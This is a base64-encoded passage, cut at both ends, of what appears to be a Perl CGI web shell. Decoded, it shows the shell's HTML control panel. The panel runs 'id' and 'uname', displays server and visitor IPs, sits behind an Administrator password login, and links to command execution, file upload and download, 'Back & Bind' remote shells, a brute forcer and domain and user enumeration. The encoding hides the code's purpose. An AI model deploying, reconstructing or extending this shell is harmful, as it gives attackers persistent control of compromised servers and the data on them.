QkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFbmNvZGVEaXIKewoJbXkgJGRpciA9IHNoaWZ0OwoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7CgkkZGlyID1+IHMvKFxyfFxuKS8vOwoJcmV0dXJuICRkaXI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7CglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPiRFTlZ7J1NFUlZFUl9OQU1FJ30gfCBJUCA6ICRFTlZ7J1NFUlZFUl9BRERSJ30gPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmZmOwp9CnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7Cn0KI2RvbWFpbiB0cjpob3ZlcnsKYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKfQp0ZCB7CmNvbG9yOiAjZmZmZmZmOwp9Ci5saXN0ZGlyIHRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Ci5saXN0ZGlyIHRoewoJY29sb3I6ICNGRjk5MDA7Cn0KLmRpciwuZmlsZQp7Cgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7Cn0KLmRpcnsKCWZvbnQtc2l6ZTogMTBwdDsgCglmb250LXdlaWdodDogYm9sZDsKfQp0YWJsZSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KaW5wdXQgewpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKY29sb3I6ICNmZjk5MDA7Cn0KaW5wdXQuc3VibWl0IHsKdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwpjb2xvcjogI0ZGRkZGRjsKYm9yZGVyLWNvbG9yOiAjMDA5OTAwOwp9CmNvZGUgewpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6IHdoaWxlOwp9CnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogI0ZGMDBBQTsKfQp0ZXh0YXJlYSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoubGlzdGRpciB0cjpob3ZlcnsKCWJhY2tncm91bmQ6ICM0NDQ7Cn0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7CgliYWNrZ3JvdW5kOiAjNDQ0OwoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsKfQoubm90bGluZXsKCWJhY2tncm91bmQ6ICMxMTE7Cn0KLmxpbmV7CgliYWNrZ3JvdW5kOiAjMjIyOwp9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpCnsKCXZhciBlID0gIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG5hbWUpOwoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7CglyZXR1cm4gdHJ1ZTsKfQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkKewoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsKCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7Cgl9ZWxzZQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsKCX0KfQo8L3NjcmlwdD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPgoJCTxiPjxmb250IHNpemU9IjMiPj0tLVsgICRFZGl0UGVyc2lvbiBdLS09PC9mb250PjwvYj4KCTwvdGQ+Cgk8dGQ+CgkJJGluZm8KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJyZWQiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSJyZWQiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+Cgk8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVybEVuY29kZSgkKXsKCW15ICRzdHIgPSBzaGlmdDsKCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR1cm4gJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwoKClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+Cgk8Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPSNmZjk5MDA+UGFzcyA9IHh4eCA8L2ZvbnQ+ICAqJmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPgo8L2NlbnRlcj48L2JvZHk+PC9odG1sPiI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t